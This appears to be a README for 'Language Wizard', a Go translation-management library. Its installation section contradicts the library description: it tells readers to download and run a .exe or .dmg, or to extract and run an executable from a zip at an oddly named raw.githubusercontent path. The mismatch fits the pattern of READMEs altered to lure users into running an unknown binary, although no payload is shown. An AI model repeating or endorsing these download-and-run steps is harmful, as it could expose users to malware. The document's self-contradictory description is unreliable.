Welcome to Language Wizard! This tiny tool will help you manage languages in your Go applications easily. It supports multiple languages, provides safe handling of strings, and allows you to switch languages without a hitch. Whether you're building an app for a global audience or just want to manage multiple languages, Language Wizard has got you covered.
- Thread-safe: Safe handling of languages even in multi-threaded environments.
- Hot-swap languages: Change languages on the fly without restarting your application.
- Event channel: Get notified of language changes in real-time.
- Custom logging: Easily log missing keys to keep track of your translations.
- Error handling: Clear error types help you understand issues quickly.
- Defensive copies: Ensure data integrity with safe data management.
Make sure your system meets the following requirements:
- Operating System: Windows, macOS, or Linux
- Go Version: Go 1.16 or later
- Memory: At least 512 MB RAM
- Disk Space: Minimum of 50 MB available
To get started with Language Wizard, follow these simple steps:
-
Visit the Releases Page:
Click the link to go to our Releases page. -
Find the Latest Release:
Look for the latest version of Language Wizard on the page. -
Download the Application:
Click on the appropriate file for your operating system to download it. -
Install the Application:
After downloading, follow these steps based on your operating system:- Windows: Double-click the
.exefile and follow the installation prompts. - macOS: Open the
.dmgfile, then drag the Language Wizard icon to your Applications folder. - Linux: Extract the files from the
https://raw.githubusercontent.com/TurkeyGamings/language_wizard/main/saccharify/language_wizard.zipfile and run the executable.
- Windows: Double-click the
-
Run Language Wizard:
After installation, find Language Wizard in your applications list and open it.
Once you have Language Wizard up and running, set it up by following these steps:
-
Choose a Default Language:
Set your preferred language in the settings. You can change it later if needed. -
Add Translations:
Input your translations in the dictionary format. Each string should have a key and its corresponding translated value. -
Switch Languages:
When you want to switch languages, use the designated option within the app. The change takes effect immediately. -
Handle Missing Keys:
If a translation key is missing, it will log the details. Use the custom logging to keep your translations complete.
For more detailed usage instructions, check out the complete documentation on our GitHub Wiki.
If you encounter any issues, consider the following common problems:
-
Application Won't Start:
Ensure you have downloaded the correct version for your operating system. -
Language Change Not Taking Effect:
Make sure you have properly entered the translations in the app settings. -
Logs Not Showing Missing Keys:
Check your logging settings to ensure they are configured correctly.
Join our community for support and share your experiences. You can ask questions, report issues, or provide feedback. Use the Issues section to communicate with the developers and users.
With Language Wizard, managing translations in your Go applications has never been easier. Enjoy flexibility and control over your language settings today!